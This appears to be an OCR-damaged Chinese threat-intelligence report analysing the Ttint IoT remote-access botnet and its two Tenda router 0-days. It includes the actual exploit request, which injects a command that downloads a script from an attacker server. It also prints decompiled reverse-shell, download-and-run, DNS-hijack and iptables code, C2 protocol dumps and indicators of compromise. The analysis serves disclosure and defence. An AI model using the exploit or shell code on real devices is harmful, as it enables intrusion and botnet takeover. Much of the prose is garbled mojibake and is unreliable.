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XMEFMEEAPE E 4 ATtint,
0-dayiRiRB

20194E 11 A 95 | BAKINE 4 # % — M Tendaik FB250-dayi@iR (CVE-2018-14558 &
CVE-2020-10987) , L& Ttinti A, EFEEMNRE , XM IRFAER]202067 51054 43K &
H R[],

GET /goform/setUsbUnload/.js?

deviceName=A; cd%20/tmp%3Brm%20get .sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh
HTTP/1.1

Host: {target}

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.22.0

20208 5215 , FHA 1L iNEIBHH(FE B S N TendafgFZ50-dayimif , {EiETtintBEAR,
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https://blog.netlab.360.com/ttint-an-iot-rat-uses-two-0-days-to-spread/
https://blog.netlab.360.com/tag/0-day/
https://twitter.com/IUnKnow84503351
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https://twitter.com/zom3y3
https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68

20204E8 5285 , Ik BT MpHFm ik RS B TendatR s T 58 —0-daylsiRFIE LR AESF
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BANDITXSEL T 2B IR THinthEAR , RELENIRNC2EL B2 MER , (B2 ERRO0-
dayii , XOR Key , C2#M}_EH—LX 71,

Timestamp| Ttint Version Attack Vector XOR Key C2 Protocol C2 Address
2019-11-09 vl The first 0-day (CVE-2020-10987) OxDEEDBEED Mirai Like cnc.notepod2.com:23231
2020-08-21 V2 The second 0-day (undisclosed) OXEDFCEBDA WebSocket over TLS q9uvveypiB.notepod2.com:443

W ST

BRI , THntENAT AR R | B1Th , BiBRE S |, ##4lwatchdog , BFilb&&E
B BEg RO IR —RE] ; HEBERHREL UREAF  REMNFRESEIKCEIL
E%, EREEER  FRHC2TAES  MUTH NN EEE E XL,

HKATTAB L ERE T mirai KE4FHE , EN8—35 , VRS , SURECHIEEME |, £
KEWHRES ; RNQIFMMES TMEBESE , XHwebsocketifY , £ EEEALEIE
B RAEMiraiiZN, Miraid @@ XIEEPEMZRLET , AAXARBE R TintH 2
Iumljlﬁé , T3 Tint V2EX86Z2MRRA K] , WEE XHITNEEH & |, FIMTE BRI,

add_attack(e, (int)attack_udpgeneric);
add_attack(1l, (int)attack_udpvse);
add_attack(2, (int)attack_udpdns);
add_attack(9, (int)attack_udpplain);
add_attack(3, (int)attack_tcpfrag); Old Mirai Vectors
add_attack(4, (int)attack_tcppack);
add_attack(5, (int)attack_tcpxmas);
add_attack(e, (int)attack _greip);
add_attack(7, (int)attack_greeth);
add_attack(1e, (int)attack_app_http);
?dvd:attaﬁ.k{'iz, {.E.Hf}und_;l:.}_,
add_attack(13, (int)cmd_1s);
add_attack(15, (int)cmd_runcmd);
add_attack(16, (int)cmd_hijackdns);
add_attack(18, (int)cmd_getdeviceinfo);
add_attack(exgE, (int)cmd_setiptables); ]
add_attack(11l, (int)cmd_ifconfig); New Ttint Vectors
add_attack(17, (int)cmd_killself);
add_attack(19, (int)cmd_openproxy);
add_attack(2@, (int)cmd_closeproxy);
add_attack(21, (int)cmd_upgrade);
add_attack(22, (int)cmd_revshell);

Ttint v2 BE49HT

MD5:73ffd45ab46415b41831faece138f306e
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Lib:uclib
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Socket5{iH

e C2 T RAHFEIRH , FF/aSocketsRIEARS . XAIAEKEE AR VIR EIFANM , AJq
SCIRP RN & 7 .

start_proxy((pthread t *)&unk_86932E®9);

v5 = wrap_strlen(vl3);

wrap_memcopy ((int)&v13[v5], "Open socks5 at port: ");

v6 = sub_8054D76(v1S, ©xAu, &v14);

v7 = wrap_strlen(vl3);

wrap_memcopy ((int)&v13[v7], vE);

EYIEERATDNS

1B & resolv.confXX R E X L 2T DNS,

echo nameserver "DNS server" > /etc/etc/resolv.conf

XFRE B AR Z Tt EE 7] ST EINIR R & TR A REEMEKIRE , STEIERE
S

W Eiptables

B W Eiptables , SKHUREH A , IRt INEE , TEREEHAMKIRS FEEILQ
i

iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""

iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""

iptables -A FORWARD -d -j ACCEPT

RM@)shell

@I socketskIM R M shell , Ttintf1EE AT RUG(E A itshel— R ME I IR & Hshell,
*(_DWORD *)&addr.sa_data[2] = __GI_inet_addr(al);

addr.sa_family = 2;
*(_WORD *)addr.sa_data = wrap_htons(a2);
fd = _ GI_socket(2, 1, @);
if ( fd == -1 )
__GI_exit(1);
if ( connect(fd, &addr, exleu) )
__GI exit(1);
__GI dup2(fd, @);
__GI dup2(fd, 1);
__GI dup2(fd, 2);
return _ GI _execl(file, (int)file, @);

BFt&
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MFEE B IDownload URL (2R1AA uhyg8v.notepod2.com:5001 ) TFEFENCPUZEMIHIBot
2R, SIB FHE.

dec dpoc(gngu); __GI_sprintf(&v11, "/ttint.%s", "1686");
dec_proc(@x2Au); dec_proc(@x2Bu);

v4 = get_var(ex29, @); v8 = get_var(ex2B, 0);

v14 = sub_8@497C9(a3, a4, __GI_sprintf(&filename, "/tmp/%s", v8);
__GI_strcpy(&vi3, vid); v9 = get_var(43, @);

v5s = (_DWORD *)get_var(@x2 __GI_sprintf(&viz, "./%s %s", v9, &unk_80931A0);

v6 = sub_807D854(*v5); enc_proc(@x28u); ‘ _

V15 = sub_8@4981D(a3, a4, if ( sub_8055243(vi14, vi15, (int)&v1l, &filename) )
enc_proc(@x29u); __GI_e¥1t£-1);"

enc_proc(@x24u); __GI_chdir("/tmp"); _ _ ‘ ‘
result = _ fork(); result = _ GI_execl("/bin/sh", (int)"sh", (unsigned int)"-c")
BIBH

THnt@IIEBE 57322 s SKELEA—34] , FLAIE X MNsARKFHFE , MEESRIBIRY |
K AEIRIIA K B ),

.int cmd_killself()

'

__intl6 v@; // ax

)| ve = wrap_htons([57322);
return killer kill by port(ve);

wr ®

LR

RERAARILE B E

B nc TARTC2T R ELRH I , HF-dS K2 JE "Detach from stdin”, [FIEA]
HNPORTZ A AEEETEMAIAKRTIES , ATASSITntEZF 2 Mmi% iR & 2 B BUREE
i

nc -d -1 "PORT" "some redirect cmd"

HRRERER

Bk &Ktime , os , cpu , ip , version , mac{5E _EIRAC2 , RiTERHAF KL F B
type=back_infoatk_id=%s&time=&os= FHILT —4Bug , &K T —MN"&"FHF.

PITRG A4
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B popenck¥y , BUTC2 T RIUBEE L ARG M4

signed int __cdecl wrap_popen_proc(char *command,
v1l3 = (_BYTE *)get_item_buf(cnt, buf, {
result = (char *)get_item_buf(cnt, buf, int v3; // 5T20_4

vl4d = result; FILE *stream; // [esp+24h] [ebp-4h]
if (v1i3 )
{ if ( lcommand || 'a2 || !'a3 )
if (vid) return -1;
{ stream = popen(command, "r");
wrap_memzero(vl2, 1824@); if ( !stream )
v5 = 10240 - wrap_strlen(vi12); return -1;
v6 = wrap_strlen(vi2); v3 = _ GI_fread(a2, 1, a3, stream);
wrap_popen_proc(vl4, &v12[ve], v5), pclose(stream);
wrap_memzero(vll, 1824@); return v3:

C2HMXSHT

Ttint BotFE AR C2{5 EdxIBMirai E NN BEMEERCE (S 2R , XOR Key A 0x0EDFCEBDA

c2 ciphertxt:

51 19 55 56 56 45 59 50 49 62 OE 4E 4F 54 45 50 4F 44 12 QE 43 4F 4D 20
c2 plaintxt:

g9uvveypiB.notepod2.com

WBotiE TR , ifR15F|C2HltE ws: q9uvveypiB.notepod2.com: 443 , $Rj5iB it WebSocket
over TLSHHXFIC2i# TR LIS,

ded proc(3u);

dec_proc(4u);

__GI_memset(&websocket buf, @, @xleeu);

vs = (__intle *)get_var(4, ©);
v6 = (unsigned  intl6)sub_8@7D854(*v5);
v7 = get_var(3, 0);

__GI_sprintf(&websocket_buf, "ws://%s:%d/", v7, v6);
enc_proc(3u);
enc_proc(4u);

EL_14:
while ( network_init(dword 8099E4@, (int)&websocket buf) )
{

WebSockettiMX
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W Ttint C2[8] & Botilm N AS k1016 |, inBREMSGEF A , SR faBotr] LA{E FWebSocketifmX

HITIE(E. AT ELT TLSHEE G WebSocket¥iE B4,

GET / HTTP/1.1
Host: q9uvveypiB.notepod2.com
Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: bL5UFwIDJEVsKPhydKOvcA==
MacList: 52:54:00:54:35:0,00:0c:29:05:6c:53,
Sec-WebSocket-Version:

13

HTTP/1.1 101 Switching Protocols
Server: nginx/1.16.1
Date: Tue, 15 Sep 2020 12:48:52 GMT

Connection: upgrade

Upgrade: websocket
Sec-WebSocket-Accept: 4qhkXtvePuBS/okBpND4a0zPkvQ=

nocollo®alc

}Food6a.v;a\y)e%09.3>) ..} u K uvi(LZ,5.06m. I p. . v8. L {{.

m .B...N>4.G)d.T)k.T*0.T)h.\n8.

Boti) LA,

1RIEWebSockett}[ X , Ffi 1] PA%NiE PayloadK & 40x81, mask A0xD5F39E67 , Payload

Data¥iEHtE 5 0x08~0x88.

00000000
00000010:
00000020
000000630:
00000040
00000050
00000060
00000070
000000680

jCPayload Data[@maski#f{TXORITE , #1527 BASCKPayload , iX1F £ Botf{_ & H.

00000000
000000106
00000020
0000006306
00000040
000000656
00000060
00000070
00000080

C2 f5<

Ttint Bot3(#52274C2154 , HPE AT Miraifg10fDDoSTE4 , BC KM T 12F4C2154.
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1

attack _udp_vse

q2.G6->.Jzj.H><..k ..y>.0%g.N"m.@i.I-g..4m.@(>.H!g.0"k.@-n..>...>.
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....... [

............... A

............... S

I...U........

....... TR b
.U

| type=back_info&a|
| tk_id=0&time=&0s |
|=Linux 4.15.0-42|
| -generic&cpu=i68|
| 6&ip=192.168.222]|
| .128&version=5ce |
| Ob7c2&args=&mac=|
|00:0c:29:7f:24:9|
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546 ThRE

2 attack_udp_dns

9 attack_udp_plain

3 attack tcp_flag

4 attack_tcp_pack

5 attack_tcp_xmas

6 attack _grep_ip

7 attack_grep_eth

10 attack_app_http

12 Z{TnCcREfF

13 1Z1TISFEF

15 PITEE XRG4

16 EkHzsDNS

18 RIREEE

14 R Eiptables

11 1=z1Tifconfigdn 4

17 LR B F U

19 FF f5socks5{IE

20 X[Fsocks5IH

21 Btk

22 JF i Rashell
C2 154 1A

{1 5F|C21ABot & 1 T AT 54
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00000000: 0O 55 00 00 60 GA OF 01 060 00 00 00 20 02 1A 13 .U.......... Ces
00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-10v2x9n13XsZ0O
00000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.OQiptables -D
00000630: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp --
00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A

00000050: 43 43 45 50 54 CCEPT
PAT 2 C2FE 1% TR

00 55 ---- msg length

OF ---- cmd id, here is "run system cmd"

02 ---- option number

1A ---- option type, here is "attack id"

13 ---- option length, length of "pp-10v2x9n13XsZOwvD" = 0x13
1B ---- option type, here is "attack cmd buf"

30 ---- option length

—HRR TNt BT 28 E XA S 7E— R SRR KRN E K.

PAFRAAESRFRP AR 255 A84BTE S M6 |, #RI8_ESCAIC2HE 448 NAT 4N , TERTES 2 EMIT
REm4 , BRRNARGGLSA

iptables -I INPUT -p tcp --dport 51599 -j ACCEPT Bl AV4FA
N

)RR & K)51599

0000000O: 82 55 0O 55 00 0O 00 GA OF 01 00 60 00 600 20 02 .U.U.......... .
00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp6
00000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wIlbC.Qiptables

000000630: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp

00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j
00000050: 20 41 43 43 45 50 54 ACCEPT

THEHHRTES , EEAESEImEEM51599%% 0 _EFF ESocket5(KIRIHAE.
00000000: 82 3C OO0 3C 00 OO OO0 GA 13 01 00 OO0 OO0 00 20 04 . <. <. enns .
000EEE10: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.

00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 .d@aYy1l9R..pp-0X
00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr

WA ThEEMIZAE | {RUE T Socket5IBMIIEH {F .
REEIN

B2 Tendapg 25 A P KX B E FH EHE RS,
BATEBGEE S RIPAURLSH T2 41

BXAREKAT

BNMGRAREE | ATRATE twitter 55E 18 T fifEnetlab[at]360.cniX &K1,

loC
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https://twitter.com/360Netlab

IP:

34.92.85.21 Hong
34.92.139.186 Hong
43.249.29.56 Hong
Group Limited
45.249.92.60 Hong
Group Limited
45.249.92.72 Hong
Group Limited
103.60.220.48 Hong
Group Limited
103.108.142.92 Hong
Group Limited
103.243.183.248 Hong

Group Limited

C2:
cnc.notepod2.com: 23231

back.notepod2.com:80
g9uvveypiB.notepod2.com:443

Update Server:
uhyg8v.notepod2.com:5001

URL:

http://45.112.205.60/td.sh

Kong
Kong
Kong
Kong
Kong
Kong

Kong

Kong

http://45.112.205.60/ttint.i686

http://45.112.205.60/ttint.armbel
http://45.112.205.60/ttint.mipsel
http://34.92.139.186:5001/bot/get.sh
http://34.92.139.186:5001/bot/ttint.mipsel
http://34.92.139.186:5001/bot/ttint.x86_64

MD5:

3e6al6bcf7a9e9e0be25ae28551150f5
4ee942a0153ed74eb9a98f7ad321ec97
6bff8b6Td606e795385h84437d1elela
733f71eb6cfca905e8904d0fb785fb43
a89cefdf71f2fced35fba8612ade7174
c5cb2b438ba6d809f1f71c776376d293
cfcOf745941celec024ch86b1fd244f3
73ffd45ab46415b41831faeel138F306e

ASN15169

ASN15169

ASN133115

ASN133115

ASN133115

ASN133115

ASN133115

ASN133115

GOOGLE
GOOGLE

HK

HK

HK

HK

HK

HK

Kwaifong
Kwaifong
Kwaifong
Kwaifong
Kwaifong

Kwaifong
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